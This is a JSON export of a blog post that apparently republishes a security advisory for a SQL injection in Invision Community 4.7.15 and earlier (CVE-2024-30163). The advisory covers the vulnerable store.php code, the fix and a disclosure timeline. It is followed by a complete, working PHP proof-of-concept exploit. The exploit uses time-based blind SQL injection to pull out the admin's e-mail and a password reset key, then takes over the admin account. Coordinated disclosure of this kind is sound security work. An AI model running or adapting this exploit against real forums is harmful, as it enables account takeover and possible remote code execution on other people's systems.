{"id":56124,"date":"2024-04-08T18:50:02","date_gmt":"2024-04-08T14:50:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177982\/KIS-2024-02.txt"},"modified":"2024-04-08T18:50:02","modified_gmt":"2024-04-08T14:50:02","slug":"invision-community-4-7-15-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/invision-community-4-7-15-sql-injection\/","title":{"rendered":"Invision Community 4.7.15 SQL Injection"},"content":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>Invision Community &lt;= 4.7.15 (store.php) SQL Injection Vulnerability<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n[-] Software Link:<\/p>\n<p>https:\/\/invisioncommunity.com<\/p>\n[-] Affected Versions:<\/p>\n<p>All versions from 4.4.0 to 4.7.15.<\/p>\n[-] Vulnerability Description:<\/p>\n<p>The vulnerability is located in the<br \/>\/applications\/nexus\/modules\/front\/store\/store.php script.<br \/>Specifically, into the<br \/>IPS\\nexus\\modules\\front\\store\\_store::_categoryView() method:<\/p>\n<p>126 \/* Apply Filters *\/<br \/>127 if ( isset( \\IPS\\Request::i()-&gt;filter ) and \\is_array(<br \/>\\IPS\\Request::i()-&gt;filter ) )<br \/>128 {<br \/>129 $url = $url-&gt;setQueryString( &#8216;filter&#8217;, \\IPS\\Request::i()-&gt;filter );<br \/>130 foreach ( \\IPS\\Request::i()-&gt;filter as $filterId =&gt; $allowedValues )<br \/>131 {<br \/>132 $where[] = array( \\IPS\\Db::i()-&gt;findInSet(<br \/>&#8220;filter{$filterId}.pfm_values&#8221;, array_map( &#8216;intval&#8217;, explode( &#8216;,&#8217;,<br \/>$allowedValues ) ) ) );<br \/>133 $joins[] = array( &#8216;table&#8217; =&gt; array( &#8216;nexus_package_filters_map&#8217;,<br \/>&#8220;filter{$filterId}&#8221; ), &#8216;on&#8217; =&gt; array(<br \/>&#8220;filter{$filterId}.pfm_package=p_id AND<br \/>filter{$filterId}.pfm_filter=?&#8221;, $filterId ) );<br \/>134 }<br \/>135 }<\/p>\n<p>User input passed through the &#8220;filter&#8221; request parameter is not<br \/>properly sanitized before being<br \/>assigned to the $where and $joins variables (lines 132 and 133), which<br \/>are later used to execute<br \/>some SQL queries. This can be exploited by unauthenticated attackers<br \/>to carry out time-based or<br \/>error-based Blind SQL Injection attacks. Subsequently, this might also<br \/>be exploited to reset<br \/>users&#8217; passwords and gain unauthorized access to the AdminCP, in order<br \/>to achieve<br \/>Remote Code Execution (RCE). Successful exploitation of this<br \/>vulnerability requires<br \/>the nexus application to be installed and configured with one &#8220;Product<br \/>Group&#8221; at least.<\/p>\n[-] Proof of Concept:<\/p>\n<p>https:\/\/karmainsecurity.com\/pocs\/CVE-2024-30163.php<\/p>\n[-] Solution:<\/p>\n<p>Upgrade to version 4.7.16 or later.<\/p>\n[-] Disclosure Timeline:<\/p>\n[08\/01\/2024] &#8211; Vulnerability details sent to SSD Secure Disclosure<br \/>[12\/03\/2024] &#8211; Version 4.7.16 released<br \/>[20\/03\/2024] &#8211; CVE identifier requested<br \/>[24\/03\/2024] &#8211; CVE identifier assigned<br \/>[05\/04\/2024] &#8211; Coordinated public disclosure<\/p>\n[-] CVE Reference:<\/p>\n<p>The Common Vulnerabilities and Exposures project (cve.mitre.org)<br \/>has assigned the name CVE-2024-30163 to this vulnerability.<\/p>\n[-] Credits:<\/p>\n<p>Vulnerability discovered by Egidio Romano.<\/p>\n[-] Other References:<\/p>\n<p>https:\/\/invisioncommunity.com\/release-notes\/4716-r128\/<br \/>https:\/\/ssd-disclosure.com\/ssd-advisory-ip-board-nexus-rce-and-blind-sqli\/<\/p>\n[-] Original Advisory:<\/p>\n<p>http:\/\/karmainsecurity.com\/KIS-2024-02<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>PoC:<\/p>\n<p>&lt;?php<\/p>\n<p>\/*<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>Invision Community &lt;= 4.7.15 (store.php) SQL Injection Vulnerability<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>author&#8230;&#8230;&#8230;&#8230;..: Egidio Romano aka EgiX<br \/>mail&#8230;&#8230;&#8230;&#8230;&#8230;.: n0b0d13s[at]gmail[dot]com<br \/>software link&#8230;&#8230;.: https:\/\/invisioncommunity.com<\/p>\n<p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>| This proof of concept code was written for educational purpose only. |<br \/>| Use it at your own risk. Author will be not responsible for any damage. |<br \/>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<\/p>\n[-] Vulnerability Description:<\/p>\n<p>The vulnerability is located in the \/applications\/nexus\/modules\/front\/store\/store.php script.<br \/>Specifically, into the IPS\\nexus\\modules\\front\\store\\_store::_categoryView() method: user<br \/>input passed through the &#8220;filter&#8221; request parameter is not properly sanitized before being<br \/>assigned to the $where and $joins variables, which are later used to execute some SQL<br \/>queries. This can be exploited by unauthenticated attackers to carry out time-based<br \/>or error-based SQL Injection attacks.<\/p>\n[-] Original Advisory:<\/p>\n<p>https:\/\/karmainsecurity.com\/KIS-2024-02<br \/>*\/<\/p>\n<p>set_time_limit(0);<br \/>error_reporting(E_ERROR);<\/p>\n<p>if (!extension_loaded(&#8220;curl&#8221;)) die(&#8220;[-] cURL extension required!\\n&#8221;);<\/p>\n<p>if ($argc != 2) die(&#8220;\\nUsage: php $argv[0] &lt;URL&gt;\\n\\n&#8221;);<\/p>\n<p>$url = $argv[1];<br \/>$ch = curl_init();<br \/>$sec = 3; \/\/ number of seconds for SLEEP(): less seconds, less accurate<\/p>\n<p>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br \/>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}index.php?\/store\/&#8221;);<\/p>\n<p>function sql_injection($sql)<br \/>{<br \/>global $ch, $sec;<\/p>\n<p>$min = true;<br \/>$idx = 1;<\/p>\n<p>while(1)<br \/>{<br \/>$test = 256;<\/p>\n<p>for ($i = 7; $i &gt;= 0; $i&#8211;)<br \/>{<br \/>$test = $min ? ($test &#8211; pow(2, $i)) : ($test + pow(2, $i));<br \/>$injection = &#8220;` ON 1 UNION SELECT IF(ORD(SUBSTR(({$sql}),{$idx},1))&lt;{$test},1,SLEEP({$sec})) OR ?=?#&#8221;;<br \/>curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf(&#8220;cat=1&amp;filter[%s]=1&#8221;, rawurlencode($injection)));<br \/>$start = time(); curl_exec($ch); $secs = time() &#8211; $start;<br \/>$min = ($secs &lt; $sec);<br \/>}<\/p>\n<p>if (($chr = $min ? ($test &#8211; 1) : ($test)) == 0) break;<br \/>$data .= chr($chr); $min = true; $idx++;<br \/>print &#8220;\\r[*] Data: {$data}&#8221;;<br \/>}<\/p>\n<p>return $data;<br \/>}<\/p>\n<p>print &#8220;[+] Step 1: fetching admin&#8217;s e-mail address\\n&#8221;;<\/p>\n<p>$email = sql_injection(&#8220;SELECT email FROM core_members WHERE member_id=1&#8221;);<\/p>\n<p>print &#8220;\\n[+] Step 2: go to {$url}index.php?\/lostpassword\/ and request a password reset by using the above e-mail. When you&#8217;re done press enter.&#8221;;<\/p>\n<p>fgets(STDIN);<\/p>\n<p>print &#8220;[+] Step 3: fetching the password reset key\\n&#8221;;<\/p>\n<p>$vid = sql_injection(&#8220;SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1&#8221;);<\/p>\n<p>print &#8220;\\n[+] Step 4: taking over the admin account by resetting their password\\n&#8221;;<\/p>\n<p>@unlink(&#8216;.\/cookies.txt&#8217;);<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}index.php?\/lostpassword\/&#8221;);<br \/>curl_setopt($ch, CURLOPT_POST, false);<br \/>curl_setopt($ch, CURLOPT_HEADER, true);<br \/>curl_setopt($ch, CURLOPT_COOKIEJAR, &#8216;.\/cookies.txt&#8217;);<br \/>curl_setopt($ch, CURLOPT_COOKIEFILE, &#8216;.\/cookies.txt&#8217;);<\/p>\n<p>if (!preg_match(&#8216;\/csrfKey: &#8220;([^&#8221;]+)&#8221;\/i&#8217;, curl_exec($ch), $csrf)) die(&#8220;[-] CSRF token not found!\\n&#8221;);<\/p>\n<p>$passwd = md5(time());<br \/>$params = &#8220;do=validate&amp;vid={$vid}&amp;mid=1&amp;password={$passwd}&amp;password_confirm={$passwd}&amp;resetpass_submitted=1&amp;csrfKey={$csrf[1]}&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_POSTFIELDS, $params);<\/p>\n<p>if (!preg_match(&#8220;\/301 Moved Permanently\/i&#8221;, curl_exec($ch))) die(&#8220;[-] Attack failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Done! You can log into the AdminCP with {$email}:{$passwd}\\n&#8221;;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;Invision Community &lt;= 4.7.15 (store.php) SQL Injection Vulnerability&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [-] Software Link: https:\/\/invisioncommunity.com [-] Affected Versions: All versions from 4.4.0 to 4.7.15. [-] Vulnerability Description: The vulnerability is located in the\/applications\/nexus\/modules\/front\/store\/store.php script.Specifically, into theIPS\\nexus\\modules\\front\\store\\_store::_categoryView() method: 126 \/* Apply Filters *\/127 if ( isset( \\IPS\\Request::i()-&gt;filter ) and \\is_array(\\IPS\\Request::i()-&gt;filter ) )128 {129 $url = $url-&gt;setQueryString( &#8216;filter&#8217;, \\IPS\\Request::i()-&gt;filter );130 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56124","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56124"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56124\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}